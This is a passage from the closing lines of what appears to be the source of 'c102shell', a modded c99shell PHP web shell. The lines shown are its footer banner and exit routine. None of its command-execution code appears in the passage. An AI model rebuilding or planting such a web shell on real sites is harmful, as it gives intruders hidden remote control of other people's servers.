3267 <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c102shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> Shadow & Preddy | <a href="http://google.com"><font color="#FF0000">A.A.T</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> 
3268 </body></html><?php chdir($lastdir); c99shexit(); ?> 
3269 ?><?
3270 // EnD of Coding
3271 ?>